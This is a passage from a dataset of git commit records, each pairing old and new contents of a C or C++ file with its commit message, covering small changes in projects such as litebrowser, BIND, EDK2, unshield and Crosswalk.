{"commit":"f43a8742653c7bbd4f05440152b05f19a9300d17","old_file":"src\/globals.h","new_file":"src\/globals.h","old_contents":"#pragma once\n\n#include <fstream>\n#include <string>\n#include <cerrno>\n#include <clocale>\n#include <vector>\n#include <iostream>\n#include <stdlib.h>\n#include <malloc.h>\n#include <memory.h>\n#define _USE_MATH_DEFINES\n#include <math.h>\n#include <cairo.h>\n#include <gtkmm.h>\n#include <gtkmm\/application.h>\n#include <gtkmm\/window.h>\n#include \"..\/litehtml\/include\/litehtml.h\"\n#include <ft2build.h>\n#include FT_FREETYPE_H\n#include <fontconfig\/fontconfig.h>\n#include <cairo-ft.h>\n#include <gdk\/gdk.h>\n#include <cairomm\/context.h>\n#include <curl\/curl.h>\n#include <Poco\/URI.h>\n\nextern std::string urljoin(const std::string &base, const std::string &relative);\n","new_contents":"#pragma once\n\n#include <fstream>\n#include <string>\n#include <cerrno>\n#include <clocale>\n#include <vector>\n#include <iostream>\n#include <stdlib.h>\n#ifdef __APPLE__\n#include <stdlib.h>\n#else\n#include <malloc.h>\n#endif\n#include <memory.h>\n#define _USE_MATH_DEFINES\n#include <math.h>\n#include <cairo.h>\n#include <gtkmm.h>\n#include <gtkmm\/application.h>\n#include <gtkmm\/window.h>\n#include \"..\/litehtml\/include\/litehtml.h\"\n#include <ft2build.h>\n#include FT_FREETYPE_H\n#include <fontconfig\/fontconfig.h>\n#include <cairo-ft.h>\n#include <gdk\/gdk.h>\n#include <cairomm\/context.h>\n#include <curl\/curl.h>\n#include <Poco\/URI.h>\n\nextern std::string urljoin(const std::string &base, const std::string &relative);\n","subject":"Make including malloc on MacOS compatible","message":"Make including malloc on MacOS compatible\n","lang":"C","license":"bsd-3-clause","repos":"litehtml\/litebrowser-linux"}
{"commit":"621af6e0e6a48c8a8c5b4804de1bdc91c3436f5b","old_file":"third_party\/stub-strtok_r.c","new_file":"third_party\/stub-strtok_r.c","old_contents":"\/*\n * public domain strtok_r() by Charlie Gordon\n *\n *   from comp.lang.c  9\/14\/2007\n *\n *      http:\/\/groups.google.com\/group\/comp.lang.c\/msg\/2ab1ecbb86646684\n *\n *     (Declaration that it's public domain):\n *      http:\/\/groups.google.com\/group\/comp.lang.c\/msg\/7c7b39328fefab9c\n *\/\n\n#include <string.h>\n\n#ifdef __MINGW32__\n# ifndef strtok_r\n\nchar* strtok_r(char *str, const char *delim, char **nextp)\n{\n    char *ret;\n\n    if (str == NULL)\n        str = *nextp;\n\n    str += strspn(str, delim);\n\n    if (*str == '\\0')\n        return NULL;\n\n    ret = str;\n    str += strcspn(str, delim);\n\n    if (*str)\n        *str++ = '\\0';\n\n    *nextp = str;\n\n    return ret;\n}\n\n# endif \/* !strtok_r *\/\n#endif \/* __MINGW32__ *\/\n","new_contents":"\/*\n * public domain strtok_r() by Charlie Gordon\n *\n *   from comp.lang.c  9\/14\/2007\n *\n *      http:\/\/groups.google.com\/group\/comp.lang.c\/msg\/2ab1ecbb86646684\n *\n *     (Declaration that it's public domain):\n *      http:\/\/groups.google.com\/group\/comp.lang.c\/msg\/7c7b39328fefab9c\n *\/\n\n#include <string.h>\n\n#ifdef __MINGW32__\n# ifndef strtok_r\n\nchar* strtok_r(char *str, const char *delim, char **nextp)\n{\n    char *ret;\n\n    if (str == NULL)\n        str = *nextp;\n\n    str += strspn(str, delim);\n\n    if (*str == '\\0')\n    {\n        *nextp = str;\n        return NULL;\n    }\n\n    ret = str;\n    str += strcspn(str, delim);\n\n    if (*str)\n        *str++ = '\\0';\n\n    *nextp = str;\n\n    return ret;\n}\n\n# endif \/* !strtok_r *\/\n#endif \/* __MINGW32__ *\/\n","subject":"Fix possible invalid write on Windows-specific `strtok_r` stub","message":"Fix possible invalid write on Windows-specific `strtok_r` stub","lang":"C","license":"agpl-3.0","repos":"Levak\/warfacebot,Levak\/warfacebot,Levak\/warfacebot"}
{"commit":"e319b2ded9ca34aec90385905077a61f86586eff","old_file":"EdkCompatibilityPkg\/Compatibility\/SmmBaseHelper\/PageFaultHandler.c","new_file":"EdkCompatibilityPkg\/Compatibility\/SmmBaseHelper\/PageFaultHandler.c","old_contents":"\/** @file\r\n  Page fault handler that does nothing.\r\n\r\n  Copyright (c) 2010, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n\/**\r\n  The dummy handler that does nothing.\r\n  \r\n  The function is only used by systems that don't use paging but need\r\n  build pass.\r\n\r\n**\/\r\nVOID\r\nPageFaultHandlerHook (\r\n  VOID\r\n  )\r\n{\r\n}","new_contents":"\/** @file\r\n  Page fault handler that does nothing.\r\n\r\n  Copyright (c) 2010, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n\/**\r\n  The dummy handler that does nothing.\r\n  \r\n  The function is only used by systems that don't use paging but need\r\n  build pass.\r\n\r\n**\/\r\nVOID\r\nPageFaultHandlerHook (\r\n  VOID\r\n  )\r\n{\r\n}\r\n","subject":"Add the blank line at the end of file to pass ICC compiler.","message":"Add the blank line at the end of file to pass ICC compiler. \n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@10357 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"07a6d3c5a9b5006fec34bab289c421a097961be4","old_file":"kernel\/device\/pit.c","new_file":"kernel\/device\/pit.c","old_contents":"#include <arch\/x64\/interrupts.h>\n#include <arch\/x64\/pic.h>\n#include <arch\/x64\/port.h>\n#include <truth\/interrupts.h>\n#include <truth\/log.h>\n#include <truth\/scheduler.h>\n\n#define Timer_IRQ_Number 0x20\n\n#define Timer_Magic_Number 1193180\n\n#define Timer_Chan_0 0x40\n#define Timer_Chan_1 0x41\n#define Timer_Chan_2 0x42\n#define Timer_Command_Reg 0x43\n#define RW_Oneshot_Square 0x36\n\nstatic void timer_interrupt_handler(struct interrupt_cpu_state *unused(r)) {\n    log(Log_Error, \"tick\");\n    scheduler_yield();\n}\n\nvoid timer_init(void) {\n    interrupt_register_handler(Timer_IRQ_Number, timer_interrupt_handler);\n}\n\nvoid timer_set_phase(uint8_t hertz) {\n    uint8_t divisor = Timer_Magic_Number \/ hertz;\n    write_port(Timer_Command_Reg, RW_Oneshot_Square);\n    write_port(Timer_Chan_0, divisor & 0xff);\n    write_port(Timer_Chan_0, divisor >> 8);\n    pic_enable(Timer_IRQ_Number);\n}\n\nvoid timer_fini(void) {\n    interrupt_unregister_handler(Timer_IRQ_Number, timer_interrupt_handler);\n}\n","new_contents":"#include <arch\/x64\/interrupts.h>\n#include <arch\/x64\/pic.h>\n#include <arch\/x64\/port.h>\n#include <truth\/interrupts.h>\n#include <truth\/log.h>\n#include <truth\/scheduler.h>\n\n#define Timer_IRQ_Number 0x20\n\n#define Timer_Magic_Number 1193180\n\n#define Timer_Chan_0 0x40\n#define Timer_Chan_1 0x41\n#define Timer_Chan_2 0x42\n#define Timer_Command_Reg 0x43\n#define RW_Oneshot_Square 0x36\n\nstatic void timer_interrupt_handler(struct interrupt_cpu_state *unused(r)) {\n    scheduler_yield();\n}\n\nvoid timer_init(void) {\n    interrupt_register_handler(Timer_IRQ_Number, timer_interrupt_handler);\n}\n\nvoid timer_set_phase(uint8_t hertz) {\n    uint8_t divisor = Timer_Magic_Number \/ hertz;\n    write_port(Timer_Command_Reg, RW_Oneshot_Square);\n    write_port(Timer_Chan_0, divisor & 0xff);\n    write_port(Timer_Chan_0, divisor >> 8);\n    pic_enable(Timer_IRQ_Number);\n}\n\nvoid timer_fini(void) {\n    interrupt_unregister_handler(Timer_IRQ_Number, timer_interrupt_handler);\n}\n","subject":"Remove annoying debug log message","message":"Remove annoying debug log message\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"ed51fe4a5dcdc3ed34b3af9fd7bf03b7cf5da30a","old_file":"daemon.c","new_file":"daemon.c","old_contents":"#include <errno.h>\n#include <sys\/stat.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nFILE* logfile;\n\nvoid init() {\n  \/\/ Change the umask so we can write to log files\n  umask(0);\n\n  \/\/ We should initialize and open log files here\n  logfile = fopen(\".\/creddit.log\", \"a\");\n  if (logfile == NULL) {\n    printf(\"Failed to create file with error: %d\\n\", errno);\n    exit(errno);\n  }\n}\n\nvoid run() {\n}\n\nint main() {\n  pid_t pid = fork();\n\n  \/\/ Check to see if there was an error with the fork\n  if (pid < 0) exit(1);\n\n  \/\/ If we are the child, then we do the heavy lifting\n  if (pid == 0) {\n    init();\n    run();\n  }\n\n  \/\/ Elsewise, we are the parent and we want to exit gracefully\n  exit(0);\n}\n","new_contents":"#include <errno.h>\n#include <sys\/stat.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nFILE* logfile;\n\nvoid init() {\n  \/\/ Change the umask so we can write to log files\n  umask(0);\n\n  \/\/ We should initialize and open log files here\n  logfile = fopen(\".\/creddit.log\", \"a\");\n  if (logfile == NULL) {\n    printf(\"Failed to create file with error: %d\\n\", errno);\n    exit(errno);\n  }\n\n  \/\/ Now we need to get a new unique SID so we aren't an orphan\n  \/\/ Remember our parent has died.\n  if (setsid() < 0) {\n    fprintf(logfile, \"Could not set our SID: %d\\n\", errno);\n    exit(errno);\n  }\n}\n\nvoid run() {\n}\n\nint main() {\n  pid_t pid = fork();\n\n  \/\/ Check to see if there was an error with the fork\n  if (pid < 0) exit(1);\n\n  \/\/ If we are the child, then we do the heavy lifting\n  if (pid == 0) {\n    init();\n    run();\n  }\n\n  \/\/ Elsewise, we are the parent and we want to exit gracefully\n  exit(0);\n}\n","subject":"Modify session id and first test of logger","message":"Modify session id and first test of logger\n","lang":"C","license":"mit","repos":"nguyenmp\/creddit"}
{"commit":"a64bbe186f064ccb5791d538fae3572c8e33df4b","old_file":"src\/lang-english.c","new_file":"src\/lang-english.c","old_contents":"#include \"num2words.h\"\n\nconst Language LANG_ENGLISH = {\n  .hours = {\n    \"one\",\n    \"two\",\n    \"three\",\n    \"four\",\n    \"five\",\n    \"six\",\n    \"seven\",\n    \"eight\",\n    \"nine\",\n    \"ten\",\n    \"eleven\",\n    \"twelve\"\n  },\n\n  .phrases = {\n    \"*$1 o'clock \",\n    \"five past *$1 \",\n    \"ten past *$1 \",\n    \"quarter past *$1 \",\n    \"twenty past *$1 \",\n    \"twenty five past *$1 \",\n    \"half past *$1 \",\n    \"twenty five to *$2 \",\n    \"twenty to *$2 \",\n    \"quarter to *$2 \",\n    \"ten to *$2 \",\n    \"five to *$2 \"\n  },\n\n#ifdef PBL_PLATFORM_CHALK\n  .greetings = {\n    \"Good morning \",\n    \"Good day \",\n    \"Good evening \",\n    \"Good night \"\n  },\n#else\n  .greetings = {\n    \"Good mor- ning \",\n    \"Good day \",\n    \"Good even- ing \",\n    \"Good night \"\n  },\n#endif\n\n  .connection_lost = \"Where is your phone? \"\n};\n","new_contents":"#include \"num2words.h\"\n\nconst Language LANG_ENGLISH = {\n  .hours = {\n    \"one\",\n    \"two\",\n    \"three\",\n    \"four\",\n    \"five\",\n    \"six\",\n    \"seven\",\n    \"eight\",\n    \"nine\",\n    \"ten\",\n    \"eleven\",\n    \"twelve\"\n  },\n\n#ifdef PBL_PLATFORM_CHALK\n  .phrases = {\n    \"*$1 o'clock \",\n    \"five past *$1 \",\n    \"ten past *$1 \",\n    \"quarter past *$1 \",\n    \"twenty past *$1 \",\n    \"twenty five past *$1 \",\n    \"half past *$1 \",\n    \"twenty five to *$2 \",\n    \"twenty  to *$2 \",\n    \"quarter to *$2 \",\n    \"ten to *$2 \",\n    \"five to *$2 \"\n  },\n\n  .greetings = {\n    \"Good morning \",\n    \"Good  day \",\n    \"Good evening \",\n    \"Good night \"\n  },\n#else\n  .phrases = {\n    \"*$1 o'clock \",\n    \"five  past *$1 \",\n    \"ten  past *$1 \",\n    \"quarter past *$1 \",\n    \"twenty past *$1 \",\n    \"twenty five  past *$1 \",\n    \"half  past *$1 \",\n    \"twenty five to *$2 \",\n    \"twenty  to *$2 \",\n    \"quarter to *$2 \",\n    \"ten to *$2 \",\n    \"five to *$2 \"\n  },\n\n  .greetings = {\n    \"Good  mor-  ning \",\n    \"Good  day \",\n    \"Good even-  ing \",\n    \"Good night \"\n  },\n#endif\n\n  .connection_lost = \"Where  is your phone? \"\n};\n","subject":"Fix english language for new line length","message":"Fix english language for new line length\n","lang":"C","license":"mit","repos":"Sarastro72\/Fuzzy-Text-Watch-Plus,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Fuzzy-Text-Watch-Plus,Sarastro72\/Fuzzy-Text-Watch-Plus,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Fuzzy-Text-Watch-Plus"}
{"commit":"893e821a0bdd9807f243465301e9360e909e2ad0","old_file":"lib\/log.h","new_file":"lib\/log.h","old_contents":"\/* $Id$ *\/\n#ifndef __log_h__\n#define __log_h__\n\n#include \"internal.h\"\n\n#define UNSHIELD_LOG_LEVEL_LOWEST    0\n\n#define UNSHIELD_LOG_LEVEL_ERROR     1\n#define UNSHIELD_LOG_LEVEL_WARNING   2\n#define UNSHIELD_LOG_LEVEL_TRACE     3\n\n#define UNSHIELD_LOG_LEVEL_HIGHEST   4\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nvoid _unshield_log(int level, const char* file, int line, const char* format, ...);\n\n#define unshield_trace(format, args...) \\\n\t_unshield_log(UNSHIELD_LOG_LEVEL_TRACE,__FUNCTION__, __LINE__, format, ##args)\n\n#define unshield_warning(format, args...) \\\n\t_unshield_log(UNSHIELD_LOG_LEVEL_WARNING,__FUNCTION__, __LINE__, format, ##args)\n\n#define unshield_warning_unless(cond, format, args...) \\\n\tif (!(cond)) \\\n\t_unshield_log(UNSHIELD_LOG_LEVEL_WARNING,__FUNCTION__, __LINE__, format, ##args)\n\n#define unshield_error(format, args...) \\\n\t_unshield_log(UNSHIELD_LOG_LEVEL_ERROR,__FUNCTION__, __LINE__, format, ##args)\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n\n","new_contents":"\/* $Id$ *\/\n#ifndef __log_h__\n#define __log_h__\n\n#include \"internal.h\"\n\n#define UNSHIELD_LOG_LEVEL_LOWEST    0\n\n#define UNSHIELD_LOG_LEVEL_ERROR     1\n#define UNSHIELD_LOG_LEVEL_WARNING   2\n#define UNSHIELD_LOG_LEVEL_TRACE     3\n\n#define UNSHIELD_LOG_LEVEL_HIGHEST   4\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nvoid _unshield_log(int level, const char* file, int line, const char* format, ...);\n\n#define unshield_trace(format, ...) \\\n\t_unshield_log(UNSHIELD_LOG_LEVEL_TRACE,__FUNCTION__, __LINE__, format, ##__VA_ARGS__)\n\n#define unshield_warning(format, ...) \\\n\t_unshield_log(UNSHIELD_LOG_LEVEL_WARNING,__FUNCTION__, __LINE__, format, ##__VA_ARGS__)\n\n#define unshield_error(format, ...) \\\n\t_unshield_log(UNSHIELD_LOG_LEVEL_ERROR,__FUNCTION__, __LINE__, format, ##__VA_ARGS__)\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n\n","subject":"Use __VA_ARGS__ for better portability","message":"Use __VA_ARGS__ for better portability\n","lang":"C","license":"mit","repos":"twogood\/unshield,twogood\/unshield"}
{"commit":"ba6f0d85b45a08112bafe9a92c7174a46bc18bfd","old_file":"lib\/dns\/rdata\/rdatastructpre.h","new_file":"lib\/dns\/rdata\/rdatastructpre.h","old_contents":"\/*\n * Copyright (C) 1999, 2000  Internet Software Consortium.\n * \n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS\n * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE\n * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR\n * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS\n * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS\n * SOFTWARE.\n *\/\n\n#ifndef DNS_RDATASTRUCT_H\n#define DNS_RDATASTRUCT_H 1\n\n#include <isc\/lang.h>\n#include <isc\/sockaddr.h>\n\n#include <dns\/types.h>\n\nISC_LANG_BEGINDECLS\n\ntypedef struct dns_rdatacommon {\n\tdns_rdataclass_t\t\t\trdclass;\n\tdns_rdatatype_t\t\t\t\trdtype;\n\tISC_LINK(struct dns_rdatacommon)\tlink;\n} dns_rdatacommon_t;\n\n","new_contents":"\/*\n * Copyright (C) 1999, 2000  Internet Software Consortium.\n * \n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS\n * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE\n * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR\n * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS\n * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS\n * SOFTWARE.\n *\/\n\n#ifndef DNS_RDATASTRUCT_H\n#define DNS_RDATASTRUCT_H 1\n\n#include <isc\/lang.h>\n#include <isc\/sockaddr.h>\n\n#include <dns\/types.h>\n\nISC_LANG_BEGINDECLS\n\ntypedef struct dns_rdatacommon {\n\tdns_rdataclass_t\t\t\trdclass;\n\tdns_rdatatype_t\t\t\t\trdtype;\n\tISC_LINK(struct dns_rdatacommon)\tlink;\n} dns_rdatacommon_t;\n\n#define DNS_RDATACOMMON_INIT(DATA, RDTYPE, RDCLASS) \\\n\tdo { \\\n\t\t(DATA)->common.rdtype = (RDTYPE); \\\n\t\t(DATA)->common.rdclass = (RDCLASS); \\\n\t\tISC_LINK_INIT(&(DATA)->common, link); \\\n\t} while (0)\n","subject":"Add macro to initalise the common part of a rdata struct.","message":"Add macro to initalise the common part of a rdata struct.\n","lang":"C","license":"mpl-2.0","repos":"pecharmin\/bind9,pecharmin\/bind9,each\/bind9-collab,pecharmin\/bind9,each\/bind9-collab,each\/bind9-collab,each\/bind9-collab,pecharmin\/bind9,pecharmin\/bind9,each\/bind9-collab,pecharmin\/bind9,each\/bind9-collab"}
{"commit":"1a815fc00a1394e940afa8e007351a2fd948a889","old_file":"chapter1\/1-9\/linelength.c","new_file":"chapter1\/1-9\/linelength.c","old_contents":"","new_contents":"\/\/\n\/\/ Created by matti on 14.9.2015.\n\/\/\n#include <stdio.h>\n#define MAXLINE 1000\n\n\nint getnewline(char line[], int maxline);\nvoid copy(char to[], char from[]);\n\nmain() {\n    int len;\n    int max;\n    char line[MAXLINE];\n    char longest[MAXLINE];\n\n    max = 0;\n\n    while ((len = getnewline(line, MAXLINE)) > 0) {\n        if (len > max) {\n            max = len;\n            copy(longest, line);\n        }\n    }\n\n    if (max > 0) {\n        printf(\"%s\", longest);\n    }\n\n    return 0;\n}\n\nint getnewline(char s[], int lim) {\n    int c, i;\n\n    for (i=0; i < lim-1 && (c=getchar()) != EOF && c != '\\n'; ++i) {\n        s[i] = c;\n    }\n    if (c == '\\n') {\n        s[i] = c;\n        ++i;\n    }\n    s[i] = '\\0';\n    return i;\n}\n\n\nvoid copy(char to[], char from[]) {\n    int i;\n    i = 0;\n\n    while((to[i] = from[i]) != '\\0'){\n        ++i;\n    }\n}","subject":"Add line length example from chapter 1-9","message":"Add line length example from chapter 1-9\n","lang":"C","license":"mit","repos":"melonmanchan\/k-and-r"}
{"commit":"e25c3d3df50e6bbd6ee4bea906ca184952d3eb4a","old_file":"simulator\/infra\/target.h","new_file":"simulator\/infra\/target.h","old_contents":"\/*\n * target.h - input interface for Fetch module\n * @author Pavel Kryukov pavel.kryukov@phystech.edu\n * Copyright 2018 MIPT-MIPS\n *\/\n\n#ifndef TARGET_H\n#define TARGET_H\n\n#include <infra\/types.h>\n\n\/*\n * Target is an input interface for Fetch module\n * It contains\n *   * address where instruction should be fetched\n *   * sequence_id of fetched instruction for instrumentation purposes\n *   * validity bit\n *\/\nstruct Target {\n    Addr address = NO_VAL32;\n    uint64 sequence_id = NO_VAL64;\n    bool valid = false;\n\n    Target() = default;\n\n    Target(Addr a, uint64 id)\n        : address(a)\n        , sequence_id(id)\n        , valid(true)\n    { }\n};\n\n#endif\n","new_contents":"\/*\n * target.h - input interface for Fetch module\n * @author Pavel Kryukov pavel.kryukov@phystech.edu\n * Copyright 2018 MIPT-MIPS\n *\/\n\n#ifndef TARGET_H\n#define TARGET_H\n\n#include <infra\/types.h>\n\n\/*\n * Target is an input interface for Fetch module\n * It contains\n *   * address where instruction should be fetched\n *   * sequence_id of fetched instruction for instrumentation purposes\n *   * validity bit\n *\/\nclass Target {\npublic:\n    Addr address = NO_VAL32;\n    uint64 sequence_id = NO_VAL64;\n    bool valid = false;\n\n    Target() = default;\n\n    Target( Addr a, uint64 id)\n        : address( a)\n        , sequence_id( id)\n        , valid( true)\n    { }\n};\n\n#endif\n","subject":"Use 'class' keyword for Target to treat file as C++","message":"Use 'class' keyword for Target to treat file as C++","lang":"C","license":"mit","repos":"MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015"}
{"commit":"a757407ea2a4709594251e0c149883163e00af84","old_file":"extensions\/common\/xwalk_extension_messages.h","new_file":"extensions\/common\/xwalk_extension_messages.h","old_contents":"\/\/ Copyright (c) 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n#include \"ipc\/ipc_message_macros.h\"\n\n#define IPC_MESSAGE_START ExtensionMsgStart\n\nIPC_MESSAGE_ROUTED2(XWalkViewHostMsg_PostMessage,  \/\/ NOLINT(*)\n                    std::string \/* target extension *\/,\n                    std::string \/* contents *\/)\n\nIPC_MESSAGE_ROUTED2(XWalkViewMsg_PostMessage,  \/\/ NOLINT(*)\n                    std::string \/* source extension *\/,\n                    std::string \/* contents *\/)\n\nIPC_MESSAGE_CONTROL2(XWalkViewMsg_RegisterExtension,  \/\/ NOLINT(*)\n                    std::string \/* extension *\/,\n                    std::string \/* JS API code for extension *\/)\n","new_contents":"\/\/ Copyright (c) 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n#include \"ipc\/ipc_message_macros.h\"\n\n\/\/ Note: it is safe to use numbers after LastIPCMsgStart since that limit\n\/\/ is not relevant for embedders. It is used only by a tool inside chrome\/\n\/\/ that we currently don't use.\n\/\/ See also https:\/\/code.google.com\/p\/chromium\/issues\/detail?id=110911.\nconst int XWalkExtensionMsgStart = LastIPCMsgStart + 1;\n\n#define IPC_MESSAGE_START XWalkExtensionMsgStart\n\nIPC_MESSAGE_ROUTED2(XWalkViewHostMsg_PostMessage,  \/\/ NOLINT(*)\n                    std::string \/* target extension *\/,\n                    std::string \/* contents *\/)\n\nIPC_MESSAGE_ROUTED2(XWalkViewMsg_PostMessage,  \/\/ NOLINT(*)\n                    std::string \/* source extension *\/,\n                    std::string \/* contents *\/)\n\nIPC_MESSAGE_CONTROL2(XWalkViewMsg_RegisterExtension,  \/\/ NOLINT(*)\n                    std::string \/* extension *\/,\n                    std::string \/* JS API code for extension *\/)\n","subject":"Use an unique ID for Crosswalk Extension IPC messages","message":"Use an unique ID for Crosswalk Extension IPC messages\n\nWe were reusing ExtensionMsgStart, but it is not needed, we can simply\ntake a number after the existing ones. The LastIPCMsgStart is\ncurrently used only by certain Chrome tools, so we won't miss anything\nfor being a number larger than the last.\n","lang":"C","license":"bsd-3-clause","repos":"crosswalk-project\/crosswalk-efl,alex-zhang\/crosswalk,xzhan96\/crosswalk,lincsoon\/crosswalk,DonnaWuDongxia\/crosswalk,weiyirong\/crosswalk-1,stonegithubs\/crosswalk,baleboy\/crosswalk,XiaosongWei\/crosswalk,amaniak\/crosswalk,mrunalk\/crosswalk,crosswalk-project\/crosswalk,PeterWangIntel\/crosswalk,axinging\/crosswalk,xzhan96\/crosswalk,Pluto-tv\/crosswalk,shaochangbin\/crosswalk,mrunalk\/crosswalk,kurli\/crosswalk,leonhsl\/crosswalk,zliang7\/crosswalk,darktears\/crosswalk,bestwpw\/crosswalk,qjia7\/crosswalk,TheDirtyCalvinist\/spacewalk,myroot\/crosswalk,rakuco\/crosswalk,bestwpw\/crosswalk,axinging\/crosswalk,wuhengzhi\/crosswalk,weiyirong\/crosswalk-1,Shouqun\/crosswalk,dreamsxin\/crosswalk,fujunwei\/crosswalk,huningxin\/crosswalk,chuan9\/crosswalk,huningxin\/crosswalk,weiyirong\/crosswalk-1,Pluto-tv\/crosswalk,siovene\/crosswalk,chinakids\/crosswalk,amaniak\/crosswalk,Bysmyyr\/crosswalk,fujunwei\/crosswalk,Pluto-tv\/crosswalk,chuan9\/crosswalk,xzhan96\/crosswalk,amaniak\/crosswalk,heke123\/crosswalk,fujunwei\/crosswalk,heke123\/crosswalk,myroot\/crosswalk,minggangw\/crosswalk,rakuco\/crosswalk,zliang7\/crosswalk,bestwpw\/crosswalk,jondwillis\/crosswalk,Pluto-tv\/crosswalk,jpike88\/crosswalk,myroot\/crosswalk,kurli\/crosswalk,wuhengzhi\/crosswalk,kurli\/crosswalk,PeterWangIntel\/crosswalk,marcuspridham\/crosswalk,kurli\/crosswalk,amaniak\/crosswalk,RafuCater\/crosswalk,alex-zhang\/crosswalk,DonnaWuDongxia\/crosswalk,siovene\/crosswalk,baleboy\/crosswalk,heke123\/crosswalk,ZhengXinCN\/crosswalk,chuan9\/crosswalk,ZhengXinCN\/crosswalk,stonegithubs\/crosswalk,jondong\/crosswalk,crosswalk-project\/crosswalk-efl,RafuCater\/crosswalk,jpike88\/crosswalk,tomatell\/crosswalk,pk-sam\/crosswalk,seanlong\/crosswalk,zliang7\/crosswalk,pozdnyakov\/crosswalk,crosswalk-project\/crosswalk-efl,pk-sam\/crosswalk,PeterWangIntel\/crosswalk,shaochangbin\/crosswalk,zliang7\/crosswalk,PeterWangIntel\/crosswalk,dreamsxin\/crosswalk,zliang7\/crosswalk,jondwillis\/crosswalk,kurli\/crosswalk,Bysmyyr\/crosswalk,hgl888\/crosswalk,hgl888\/crosswalk-efl,myroot\/crosswalk,qjia7\/crosswalk,leonhsl\/crosswalk,xzhan96\/crosswalk,darktears\/crosswalk,jpike88\/crosswalk,crosswalk-project\/crosswalk-efl,Bysmyyr\/crosswalk,darktears\/crosswalk,shaochangbin\/crosswalk,pozdnyakov\/crosswalk,baleboy\/crosswalk,baleboy\/crosswalk,xzhan96\/crosswalk,chinakids\/crosswalk,amaniak\/crosswalk,marcuspridham\/crosswalk,Bysmyyr\/crosswalk,jondong\/crosswalk,rakuco\/crosswalk,xzhan96\/crosswalk,heke123\/crosswalk,pk-sam\/crosswalk,leonhsl\/crosswalk,DonnaWuDongxia\/crosswalk,fujunwei\/crosswalk,lincsoon\/crosswalk,hgl888\/crosswalk,fujunwei\/crosswalk,jondong\/crosswalk,jondong\/crosswalk,alex-zhang\/crosswalk,chinakids\/crosswalk,RafuCater\/crosswalk,seanlong\/crosswalk,minggangw\/crosswalk,Bysmyyr\/crosswalk,weiyirong\/crosswalk-1,rakuco\/crosswalk,zeropool\/crosswalk,ZhengXinCN\/crosswalk,hgl888\/crosswalk-efl,amaniak\/crosswalk,Shouqun\/crosswalk,alex-zhang\/crosswalk,seanlong\/crosswalk,jpike88\/crosswalk,tedshroyer\/crosswalk,crosswalk-project\/crosswalk-efl,hgl